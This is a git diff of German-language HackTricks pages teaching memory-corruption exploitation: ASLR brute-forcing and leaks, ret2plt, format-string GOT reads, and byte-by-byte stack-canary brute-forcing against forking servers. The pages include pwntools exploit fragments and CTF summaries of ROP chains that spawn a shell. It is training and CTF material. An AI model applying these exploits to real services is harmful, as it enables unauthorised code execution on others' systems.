* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
## Grundlegende Informationen
**Address Space Layout Randomization (ASLR)** ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die **Speicheradressen zu randomisieren**, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Ort bestimmter Prozesse und Daten vorherzusagen, wie z. B. den Stack, den Heap und Bibliotheken, wodurch bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abgemildert werden.
**Address Space Layout Randomization (ASLR)** ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die **Speicheradressen zu randomisieren**, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Speicherort bestimmter Prozesse und Daten wie den Stack, den Heap und Bibliotheken vorherzusagen, wodurch bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abgemildert werden.
### **Überprüfen des ASLR-Status**
@ -43,7 +43,7 @@ setarch `uname -m` -R ./bin args
```
### **Aktivierung von ASLR**
Um ASLR zu **aktivieren**, können Sie einen Wert von **2** in die Datei `/proc/sys/kernel/randomize_va_space` schreiben. Dies erfordert in der Regel Root-Rechte. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:
Um ASLR zu **aktivieren**, können Sie einen Wert von **2** in die Datei `/proc/sys/kernel/randomize_va_space` schreiben. Dies erfordert in der Regel Root-Berechtigungen. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -55,7 +55,7 @@ kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Nachdem du `/etc/sysctl.conf` bearbeitet hast, wende die Änderungen mit an:
Nachdem du `/etc/sysctl.conf` bearbeitet hast, wende die Änderungen mit dem folgenden Befehl an:
```bash
sudo sysctl -p
```
@ -67,31 +67,48 @@ Dies stellt sicher, dass Ihre ASLR-Einstellungen nach Neustarts bestehen bleiben
PaX teilt den Prozess-Adressraum in **3 Gruppen** auf:
* **Code und Daten** (initialisiert und nicht initialisiert): `.text`, `.data` und `.bss` —> **16 Bits** Entropie in der Variablen `delta_exec`. Diese Variable wird zufällig mit jedem Prozess initialisiert und zu den Anfangsadressen hinzugefügt.
* **Speicher**, der von `mmap()` zugeordnet ist, und **gemeinsam genutzte Bibliotheken** —> **16 Bits**, genannt `delta_mmap`.
* **Code und Daten** (initialisiert und nicht initialisiert): `.text`, `.data` und `.bss` —> **16 Bits** Entropie in der Variablen `delta_exec`. Diese Variable wird mit jedem Prozess zufällig initialisiert und zu den Anfangsadressen hinzugefügt.
* **Speicher**, der von `mmap()` allokiert wurde, und **gemeinsam genutzte Bibliotheken** —> **16 Bits**, genannt `delta_mmap`.
* **Der Stack** —> **24 Bits**, bezeichnet als `delta_stack`. Es werden jedoch effektiv **11 Bits** verwendet (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf **16 Bytes** —> Dies ergibt **524.288 mögliche reale Stack-Adressen**.
Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie ermöglicht es, ASLR zu umgehen, indem der Angriff so oft wiederholt wird, bis er erfolgreich abgeschlossen ist.
#### Ideen für Brute-Force:
#### Brute-Force-Ideen:
* Wenn Sie genügend Platz für ein **großes NOP-Schlitten vor dem Shellcode** haben, könnten Sie einfach Adressen im Stack brute-forcen, bis der Fluss **über einen Teil des NOP-Schlittens springt**.
* Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Angriff lokal ausgeführt werden kann, besteht darin, **den NOP-Schlitten und den Shellcode in einer Umgebungsvariablen hinzuzufügen**.
* Wenn der Angriff lokal ist, können Sie versuchen, die Basisadresse von libc per Brute-Force zu ermitteln (nützlich für 32-Bit-Systeme):
* Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Exploit lokal ausgeführt werden kann, besteht darin, **den NOP-Schlitten und den Shellcode in einer Umgebungsvariablen hinzuzufügen**.
* Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc per Brute-Force zu ermitteln (nützlich für 32-Bit-Systeme):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der `libc`-Funktion `usleep` durch Brute-Force zu ermitteln und dabei 10 als Argument zu übergeben. Wenn der Server zu einem bestimmten Zeitpunkt 10 Sekunden länger braucht, um zu antworten, haben Sie die Adresse dieser Funktion gefunden.
* Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der `libc`-Funktion `usleep` durch **Brute-Forcing** zu ermitteln und dabei 10 als Argument zu übergeben. Wenn der Server zu einem bestimmten Zeitpunkt **10 Sekunden länger braucht, um zu antworten**, haben Sie die Adresse dieser Funktion gefunden.
{% hint style="success" %}
Bei 64-Bit-Systemen ist die Entropie viel höher und dies ist nicht möglich.
{% endhint %}
### Vorhandenes Leak
### Lokale Informationen (`/proc/[pid]/stat`)
* **Die Herausforderung besteht darin, ein Leak zu erhalten**
Die Datei **`/proc/[pid]/stat`** eines Prozesses ist immer von jedem lesbar und enthält **interessante** Informationen wie:
Wenn Ihnen ein Leak gegeben wird (einfache CTF-Herausforderungen), können Sie davon Offsetwerte berechnen (angenommen, Sie kennen beispielsweise die genaue libc-Version, die im System verwendet wird, das Sie ausnutzen). Dieses Beispiel-Exploit wird aus dem [**Beispiel hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) extrahiert (überprüfen Sie diese Seite für weitere Details):
* **startcode** & **endcode**: Adressen über und unter dem **TEXT** des Binärdatei
* **startstack**: Die Adresse des Starts des **Stacks**
* **start\_data** & **end\_data**: Adressen über und unter denen sich der **BSS** befindet
* **kstkesp** & **kstkeip**: Aktuelle **ESP**- und **EIP**-Adressen
* **arg\_start** & **arg\_end**: Adressen über und unter denen sich die **CLI-Argumente** befinden.
* **env\_start** & **env\_end**: Adressen über und unter denen sich die **Umgebungsvariablen** befinden.
Daher ist es möglich, wenn der Angreifer auf demselben Computer wie das zu exploitierende Binärprogramm ist und dieses Binärprogramm keinen Überlauf von Rohargumenten erwartet, sondern von einer anderen **Eingabe, die nach dem Lesen dieser Datei erstellt werden kann**. Es ist für einen Angreifer möglich, **einige Adressen aus dieser Datei zu erhalten und Offset für den Exploit zu konstruieren**.
{% hint style="success" %}
Für weitere Informationen zu dieser Datei überprüfen Sie [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) und suchen nach `/proc/pid/stat`
{% endhint %}
### Ein Leck haben
* **Die Herausforderung besteht darin, ein Leck zu haben**
Wenn Ihnen ein Leck gegeben wird (einfache CTF-Herausforderungen), können Sie davon Offset berechnen (angenommen, Sie kennen beispielsweise die genaue libc-Version, die im System verwendet wird, das Sie ausnutzen). Dieses Beispiel-Exploit stammt aus dem [**Beispiel von hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (überprüfen Sie diese Seite für weitere Details):
```python
from pwn import *
@ -118,7 +135,7 @@ p.interactive()
```
* **ret2plt**
Durch Ausnutzen eines Pufferüberlaufs wäre es möglich, ein **ret2plt** zu nutzen, um die Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:
Durch Ausnutzen eines Pufferüberlaufs wäre es möglich, ein **ret2plt** zu manipulieren, um die Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
@ -126,7 +143,7 @@ Durch Ausnutzen eines Pufferüberlaufs wäre es möglich, ein **ret2plt** zu nut
* **Format Strings Arbitrary Read**
Genau wie bei ret2plt, wenn Sie über eine Format-Strings-Schwachstelle ein beliebiges Lesen haben, ist es möglich, die Adresse einer **libc-Funktion** aus dem GOT zu exfiltrieren. Das folgende [**Beispiel stammt von hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Genau wie bei ret2plt, wenn Sie über eine Schwachstelle bei Formatzeichenfolgen einen beliebigen Lesezugriff haben, ist es möglich, die Adresse einer **libc-Funktion** aus dem GOT zu exfiltrieren. Das folgende [**Beispiel stammt von hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -137,15 +154,15 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Sie können weitere Informationen zu Format Strings Arbitrary Read in finden:
Du kannst mehr Informationen über Format Strings arbitrary read in finden unter:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret
### Ret2ret & Ret2pop
Versuchen Sie, ASLR zu umgehen, indem Sie Adressen im Stack missbrauchen:
Versuche ASLR zu umgehen, indem du Adressen im Stack missbrauchst:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
@ -153,14 +170,14 @@ Versuchen Sie, ASLR zu umgehen, indem Sie Adressen im Stack missbrauchen:
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Wenn du deine **Firma in HackTricks beworben sehen möchtest** oder **HackTricks als PDF herunterladen möchtest**, sieh dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Hol dir das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile deine Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichst.
</details>

21
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
View file

@ -37,9 +37,9 @@ elf.plt['puts'],
elf.symbols['main']
)
```
Beachten Sie, wie **`puts`** (unter Verwendung der Adresse aus dem PLT) mit der Adresse von `puts` aufgerufen wird, die sich im `GOT` befindet. Dies liegt daran, dass zum Zeitpunkt des Druckens von `puts` der `GOT`-Eintrag von `puts` die Adresse von `puts` im Speicher enthält.
Beachten Sie, wie **`puts`** (unter Verwendung der Adresse aus dem PLT) mit der Adresse von `puts` aufgerufen wird, die sich im `GOT` befindet. Dies liegt daran, dass zum Zeitpunkt des Druckens von `puts` der `GOT`-Eintrag von `puts` diese **Adresse von `puts` im Speicher enthalten wird**.
Beachten Sie auch, wie die Adresse von `main` im Exploit verwendet wird, damit das Binärprogramm nach Abschluss von `puts` **`main` erneut aufruft, anstatt zu beenden** (damit die durchgesickerte Adresse weiterhin gültig bleibt).
Beachten Sie auch, wie die Adresse von `main` im Exploit verwendet wird, damit wenn `puts` seine Ausführung beendet, das **Binärprogramm `main` erneut aufruft anstatt zu beenden** (damit die durchgesickerte Adresse weiterhin gültig bleibt).
{% hint style="danger" %}
Beachten Sie, dass für das Funktionieren dieses Vorgangs das **Binärprogramm nicht mit PIE kompiliert werden kann** oder Sie müssen **eine Leckage gefunden haben, um PIE zu umgehen**, um die Adresse des `PLT`, `GOT` und `main` zu kennen.
@ -81,16 +81,9 @@ p.sendline(payload)
p.interactive()
```
<details>
## Weitere Beispiele & Referenzen
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt besteht darin, einen Überlauf bis zum Byte 0x00 des Canary zu füllen und dann puts aufzurufen, um ihn preiszugeben. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus der GOT preiszugeben, und dann ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 Bit, ASLR aktiviert, kein Canary, Stack-Überlauf in main von einer Unterfunktion. ROP-Gadget, um puts aufzurufen und die Adresse von puts aus der GOT preiszugeben, und dann ein One-Gadget aufzurufen.

44
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
View file

@ -2,12 +2,12 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandising**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
@ -22,38 +22,60 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Dieser Mechanismus platziert einen **Canary** vor dem **EBP** und ordnet lokale Variablen um, um Puffer an höheren Speicheradressen zu positionieren, um ein Überschreiben anderer Variablen zu verhindern. Er kopiert auch sicher Argumente, die über den Stapel übergeben werden, über lokale Variablen und verwendet diese Kopien als Argumente. Es schützt jedoch keine Arrays mit weniger als 8 Elementen oder Puffer innerhalb einer Benutzerstruktur.
Dieser Mechanismus platziert einen **Canary** vor dem **EBP** und ordnet lokale Variablen so um, dass Puffer an höheren Speicheradressen positioniert werden, um zu verhindern, dass sie andere Variablen überschreiben. Er kopiert auch sicher Argumente, die über den Stapel übergeben werden, über lokale Variablen und verwendet diese Kopien als Argumente. Es schützt jedoch keine Arrays mit weniger als 8 Elementen oder Puffer innerhalb einer Benutzerstruktur.
Der **Canary** ist eine Zufallszahl, abgeleitet von `/dev/urandom` oder einem Standardwert von `0xff0a0000`. Er wird im **TLS (Thread Local Storage)** gespeichert, was gemeinsame Speicherbereiche über Threads hinweg ermöglicht, um threadspezifische globale oder statische Variablen zu haben. Diese Variablen werden ursprünglich vom Elternprozess kopiert, und Kindprozesse können ihre Daten ändern, ohne den Eltern- oder Geschwisterprozess zu beeinflussen. Wenn jedoch ein **`fork()` ohne Erstellung eines neuen Canary verwendet wird, teilen alle Prozesse (Eltern und Kinder) denselben Canary**, was ihn anfällig macht. Auf der **i386**-Architektur wird der Canary bei `gs:0x14` und auf **x86\_64** bei `fs:0x28` gespeichert.
Dieser lokale Schutz identifiziert Funktionen mit anfälligen Puffern für Angriffe und injiziert Code am Anfang dieser Funktionen, um den Canary zu platzieren, und am Ende, um seine Integrität zu überprüfen.
Dieser lokale Schutz identifiziert Funktionen mit für Angriffe anfälligen Puffern und fügt Code am Anfang dieser Funktionen ein, um den Canary zu platzieren, und am Ende, um seine Integrität zu überprüfen.
Wenn ein Webserver `fork()` verwendet, ermöglicht dies einen Brute-Force-Angriff, um das Canary-Byte für Byte zu erraten. Wenn jedoch nach `fork()` `execve()` verwendet wird, überschreibt dies den Speicherbereich und hebt den Angriff auf. `vfork()` ermöglicht es dem Kindprozess, ohne Duplikation auszuführen, bis er versucht zu schreiben, woraufhin eine Duplikation erstellt wird, was einen anderen Ansatz zur Prozesserstellung und Speicherbehandlung bietet.
Wenn ein Webserver `fork()` verwendet, ermöglicht es einen Brute-Force-Angriff, um das Canary-Byte für Byte zu erraten. Die Verwendung von `execve()` nach `fork()` überschreibt jedoch den Speicherbereich und hebt den Angriff auf. `vfork()` ermöglicht es dem Kindprozess, ohne Duplikation auszuführen, bis er versucht zu schreiben, woraufhin eine Duplikation erstellt wird, was einen anderen Ansatz zur Prozesserstellung und Speicherbehandlung bietet.
### Längen
In `x64`-Binärdateien ist das Canary-Cookie ein **`0x8`** Byte Qword. Die **ersten sieben Bytes sind zufällig** und das letzte Byte ist ein **Nullbyte**.
In `x86`-Binärdateien ist das Canary-Cookie ein **`0x4`** Byte Dword. Die **ersten drei Bytes sind zufällig** und das letzte Byte ist ein **Nullbyte**.
{% hint style="danger" %}
Das am wenigsten signifikante Byte beider Canaries ist ein Nullbyte, da es das erste im Stapel ist, das von niedrigeren Adressen kommt, und daher **Funktionen, die Zeichenfolgen lesen, bevor sie es lesen**.
{% endhint %}
## Umgehungen
**Lecken des Canaries** und dann Überschreiben (z. B. Pufferüberlauf) mit seinem eigenen Wert.
* Wenn der **Canary in Kindprozessen geforkt wird**, könnte es möglich sein, ihn Byte für Byte **brute-force** zu erraten:
* Wenn der **Canary in Kindprozessen geforkt wird**, könnte es möglich sein, ihn Byte für Byte **brute-force**:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
{% endcontent-ref %}
* Wenn es eine interessante Leck-Schwachstelle in der Binärdatei gibt, könnte es möglich sein, sie zu leaken:
* Wenn es eine interessante **Leckstelle oder beliebige Leseanfälligkeit** in der Binärdatei gibt, könnte es möglich sein, sie zu leaken:
{% content-ref url="print-stack-canary.md" %}
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
* **Überschreiben von auf dem Stapel gespeicherten Zeigern**
Der Stapel, der anfällig für einen Stapelüberlauf ist, könnte **Adressen zu Zeichenfolgen oder Funktionen enthalten, die überschrieben werden können**, um die Schwachstelle auszunutzen, ohne den Stapel-Canary erreichen zu müssen. Überprüfen Sie:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
## Referenzen
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandising**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.

23
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
View file

@ -1,16 +1,16 @@
# BF Forked Stack Canaries
# BF Forked & Threaded Stack Canaries
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>
@ -25,9 +25,9 @@ Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert
## Bruteforce-Canary
Der beste Weg, einen einfachen Canary zu umgehen, besteht darin, wenn das Binärprogramm ein Programm ist, das **bei jeder neuen Verbindung Kindprozesse erstellt** (Netzwerkdienst), da jedes Mal, wenn Sie sich damit verbinden, **der gleiche Canary verwendet wird**.
Der beste Weg, einen einfachen Canary zu umgehen, besteht darin, wenn das Binärprogramm **bei jeder neuen Verbindung, die Sie damit herstellen, Kindprozesse erstellt (Netzwerkdienst)**, da jedes Mal, wenn Sie sich damit verbinden, **dieselbe Canary verwendet wird**.
Dann ist der beste Weg, den Canary zu umgehen, einfach, ihn **Zeichen für Zeichen zu brutzeln**, und Sie können herausfinden, ob das geratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **bruteforced die Funktion einen 8-Byte-Canary (x64)** und unterscheidet zwischen einem korrekt geratenen Byte und einem falschen Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server gesendet wird (in **anderen Situationen** könnte eine **try/except**-Anweisung verwendet werden):
Dann ist der beste Weg, die Canary zu umgehen, einfach, sie **Zeichen für Zeichen zu brutzeln**, und Sie können herausfinden, ob das geratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **bruteforced** die Funktion **einen 8-Byte-Canary (x64)** und unterscheidet zwischen einem korrekt geratenen Byte und einem falschen Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server zurückgesendet wird (in **anderen Situationen** könnte eine **try/except**-Anweisung verwendet werden):
### Beispiel 1
@ -72,8 +72,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Beispiel 2
Dies ist für 32-Bit implementiert, aber dies könnte leicht auf 64-Bit geändert werden.\
Beachten Sie auch, dass für dieses Beispiel das **Programm zuerst ein Byte erwartet, um die Größe der Eingabe** und des Payloads anzugeben.
Dies ist für 32-Bit implementiert, könnte aber leicht auf 64-Bit geändert werden.\
Beachten Sie auch, dass für dieses Beispiel das **Programm zunächst ein Byte erwartet, um die Größe der Eingabe** und des Payloads anzugeben.
```python
from pwn import *
@ -114,4 +114,11 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads des gleichen Prozesses werden auch **das gleiche Canary-Token teilen**, daher wird es möglich sein, **einen Canary durch Brute-Force zu ermitteln**, wenn das Binär jedes Mal einen neuen Thread erstellt, wenn ein Angriff stattfindet.&#x20;
## Andere Beispiele & Referenzen
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 Bit, kein PIE, nx, BF-Canary, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen.

19
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View file

@ -1,4 +1,4 @@
# Drucken des Stack-Canary
# Drucken Sie den Stack-Canary
<details>
@ -14,21 +14,24 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
</details>
## Stack vergrößern
## Vergrößern Sie den gedruckten Stack
Stellen Sie sich eine Situation vor, in der ein **Programm anfällig** für Stacküberlauf eine **puts**-Funktion ausführen kann, die auf einen **Teil** des **Stacküberlaufs zeigt**. Der Angreifer weiß, dass das **erste Byte des Canary ein Nullbyte** (`\x00`) ist und der Rest des Canary **zufällige** Bytes sind. Dann kann der Angreifer einen Überlauf erstellen, der den Stack **überschreibt, bis nur das erste Byte des Canary übrig ist**.
